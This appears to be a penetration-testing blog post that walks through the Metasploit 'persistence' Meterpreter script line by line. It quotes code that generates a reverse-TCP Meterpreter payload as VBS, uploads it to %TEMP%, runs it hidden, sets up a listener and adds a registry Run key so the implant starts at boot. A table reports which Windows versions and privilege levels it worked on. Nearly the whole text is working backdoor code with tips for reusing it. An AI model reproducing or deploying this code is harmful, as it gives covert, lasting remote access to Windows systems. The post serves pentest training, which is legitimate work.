One of the tasks once a pentester gains access to a system in retaining such access, for this HD Moore wrote a great Meterpreter script called persistence, this script is truly unique since it generates it own payload, uploads the payload and configures it in such a manner to provide the attacker with a way back in to the system.
To see the options available with this script just run the script with the –h option:
1: meterpreter > run persistence -h
2:
3: OPTIONS:
4:
5: -A Automatically start a matching multi/handler to connect to the agent
6: -X Automatically start the agent when the system boots
7: -h This help menu
8: -i <opt> The interval in seconds between each connection attempt
9: -p <opt> The port on the remote host where Metasploit is listening
10: -r <opt> The IP of the system running Metasploit listening for the connect back
I will discuss the options as they are executed in the code.
The first thing the code will do is generate the payload that will be used on the target machine, the code is as follows:
1: #
2: # Create the persistent VBS
3: #
4:5: print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
6: pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
7: pay.datastore['LHOST'] = rhost8: pay.datastore['LPORT'] = rport9: raw = pay.generate10:11: vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
12: print_status("Persistent agent script is #{vbs.length} bytes long")
The options used are:
Line 5 you see a message printed where we see the values of the variables that will be used . In line 6 we set an object that is our payload called pay and the payload specified is a reverse TCP Meterpreter payload, from lines 7 and 8 we set the variables for this specific payload and we generate a Raw payload. On line 11 we use the same calls used by msfencode to encode a vbs_loop payload and the delay is set. The generated vbscript is saved in the variable. Then on line 12 we print out the size of our payload. This code can be used to generate other payloads, to get a list in msfconsole run the irb command and in it you can execute the API call for framework.payloads to get the list or just run msfpayload –h. For the encodings I do suggest that you take a look at the code in msfencode to get other possible encodes and ideas for your own scripts
The next action taken is uploading the payload to the target system the code bellow shows how this script does it:
1: #
2: # Upload to the filesystem
3: #
4:5: tempdir = client.fs.file.expand_path("%TEMP%")
6: tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"7: fd = client.fs.file.new(tempvbs, "wb")
8: fd.write(vbs)9: fd.close10:11: print_status("Uploaded the persistent agent to #{tempvbs}")
In line 5 we can see that the temp directory for the account under the Meterpreter is running under by expanding the Windows %TEMP% variable. In line 6 we append the temp directory to a randome generated file name and append the extension .vbs, the appending of the extension is very importantant since wscript and cscript in Windows depend on the extension so as to know how to parse the script and execute it. From line 7 to 9 we create the file directly on the target system and we write the content of the variable holding the vbs code in to the file and we close it, thus creating the script on the target.
The next step is to execute the vbs script. The code us shown bellow:
1: #
2: # Execute the agent
3: #
4: proc = session.sys.process.execute("wscript \"#{tempvbs}\"", nil, {'Hidden' => true})5: print_status("Agent executed with PID #{proc.pid}")
In line 4 we execute the script using wscript and we execute the process as hidden from the user on the box, in line 5 we print the PID (Process ID) for the process.
Lets take a look at the first option of –A this option will start a multi handler to receive the connection back from the payload this useful when the connection is back to the attacker machine one would set the connection on a different port and migrate such connection to a different process so in the case of process failure the connection to the target machine is not lost. The code to build this multi handler follows:
1: #
2: # Setup the multi/handler if requested
3: #
4: if(autoconn)
5: mul = client.framework.exploits.create("multi/handler")
6: mul.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
7: mul.datastore['LHOST'] = rhost8: mul.datastore['LPORT'] = rport9: mul.datastore['EXITFUNC'] = 'process'10: mul.datastore['ExitOnSession'] = false
11:12: mul.exploit_simple(13: 'Payload' => mul.datastore['PAYLOAD'],14: 'RunAsJob' => true
15: )16: end
As it can be seen the code is extremely simple to read thus making it very re-usable for other scripts one might have, if you have used msfconsole before to build a multi handler this code merits little explanation. One could easily add a AutoRunScript after line 10 if one so wishes to have a custom one or set is as an option for the script it self.
If we selected the –X option to have the payload run when the computer start, then the code below is executed:
1: #
2: # Make the agent restart on boot
3: #
4: if(install)
5: nam = Rex::Text.rand_text_alpha(rand(8)+8)
6: print_status("Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
7: key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', KEY_WRITE)8: if(key)
9: key.set_value(nam, session.sys.registry.type2str("REG_SZ"), tempvbs)
10: print_status("Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
11: else
12: print_status("Error: failed to open the registry key for writing")
13: end
14: end
In line 5 we create a random number that will be used for the registry key that in line 7 will created in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. In line 8 a REG_SZ value is created with the path to our script, if it fails we will be informed.
I tested this script in a series of system and I do have to say that what surprised me is that the first part ran with out a single problem in the following system and privileges:
OS |
System |
Administrator |
Network Service |
Regular User |
Windows XP |
Ran |
Ran |
Ran |
Ran |
Windows 2003 |
Ran |
Ran |
Ran |
Ran |
Windows Vista |
Ran |
Ran |
Ran |
Ran |
Windows 2008 |
Ran |
Ran |
Ran |
Ran |
Windows 2008 R2 |
Ran |
Ran |
Ran |
Ran |
Windows 7 |
Ran |
Ran |
Ran |
Ran |
This where default systems and those that have UAC it was enabled. Now on those systems where we set up the payload to run at start up only failed on those with UAC and running and not running as System, also failed on those running as Network Service and as a regular user in the Users group. I would also recommend that you take a look at the scheduleme script for others ideas for persistence and for privilege escalation in certain systems, it will also let you schedule it with more options, but it is also only present win Windows 2003 and present Windows versions and not in the Home Editions of Windows XP, it also suffers from the same limitation when UAC is enabled.